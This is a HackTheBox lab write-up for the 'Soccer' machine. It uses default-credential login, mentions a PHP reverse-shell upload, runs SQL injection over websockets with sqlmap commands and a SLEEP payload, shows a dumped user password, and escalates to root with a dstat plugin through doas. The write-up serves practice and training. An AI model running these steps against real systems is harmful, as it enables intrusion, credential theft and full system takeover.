HackTheBox - Machines Soccer

15/08/2023 - 1 minutes

hacking hackthebox javascript machines nginx privesc sqli web websockets
  1. 1 Foothold
    1. 1.1 Rustscan
    2. 1.2 Directory busting
    3. 1.3 Tiny File Manager
    4. 1.4 enumerate Nginx
    5. 1.5 sqli through websockets
    6. 1.6 exploiting sqli through websockets
    7. 1.7 sqlmap output
    8. 1.8 sqlmap dump DB
    9. 1.9 sqlmap dump soccer_db
    10. 1.10 Dumped DB
    11. 1.11 SSH login
  2. 2 Privesc
    1. 2.1 doas dstat

# Foothold

# Rustscan

Open 10.10.11.194:22
Open 10.10.11.194:80
Open 10.10.11.194:9091

# Directory busting

[Status: 301, Size: 178, Words: 6, Lines: 8, Duration: 95ms]
    * FUZZ: tiny

# Tiny File Manager

login using default credentials: admin: admin@123 from https://github.com/prasathmani/tinyfilemanager upload simple php reverse shell and get shell as www-data

# enumerate Nginx

/etc/nginx/sites-enabled -> http://soc-player.soccer.htb and websockets with the weird port discovered by Nmap

Signup and login, you will be redirected to http://soc-player.soccer.htb/check Looking to the application's betting system(all written in JS)

var ws = new WebSocket("ws://soc-player.soccer.htb:9091");
window.onload = function () {

var btn = document.getElementById('btn');
var input = document.getElementById('id');

ws.onopen = function (e) {
	console.log('connected to the server')
}
input.addEventListener('keypress', (e) => {
	keyOne(e)
});

function keyOne(e) {
	e.stopPropagation();
	if (e.keyCode === 13) {
		e.preventDefault();
		sendText();
	}
}

function sendText() {
	var msg = input.value;
	if (msg.length > 0) {
		ws.send(JSON.stringify({
			"id": msg
		}))
	}
	else append("????????")
}
}

ws.onmessage = function (e) {
append(e.data)
}

function append(msg) {
let p = document.querySelector("p");
// let randomColor = '#' + Math.floor(Math.random() * 16777215).toString(16);
// p.style.color = randomColor;
p.textContent = msg
}

uses port 9091 as a websocket

# sqli through websockets

the app is vulnerable to a simple 78783 or 1=1 -> evaluates to true even though ticket 78783 doesn't exist

# exploiting sqli through websockets

utilise: https://github.com/BKreisel/sqlmap-websocket-proxy (pip install sqlmap-websocket-proxy)

terminal 1:

sqlmap-websocket-proxy -u ws://soc-player.soccer.htb:9091 -p '{"id": "%param%"}' --json

terminal 2:

sqlmap -u "http://localhost:8080/?param1=1" -p "param1" --batch

# sqlmap output

Parameter: param1 (GET)
    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: param1=1 AND (SELECT 2984 FROM (SELECT(SLEEP(5)))zYSt)

# sqlmap dump DB

sqlmap -u "http://localhost:8080/?param1=1" -p "param1" --batch --dbms=mysql --tables

# sqlmap dump soccer_db

sqlmap -u "http://localhost:8080/?param1=1" -p "param1" --dbms=mysql --dbs --threads=10 -D soccer_db -T accounts --dump-all

# Dumped DB

[email protected]:PlayerOftheMatch2022

# SSH login

\ssh [email protected]

# Privesc

By running linpeas we can see that doas is installed on the system(BSD's version of sudo as I like to call it)

# doas dstat

checking the config of doas(like sudoers file)

cat /usr/local/etc/doas.conf
permit nopass player as root cmd /usr/bin/dstat

from https://gtfobins.github.io/gtfobins/dstat#sudo

echo 'import os; os.execv("/bin/sh", ["sh"])' >/usr/local/share/dstat/dstat_xxx.py
doas /usr/bin/dstat --xxx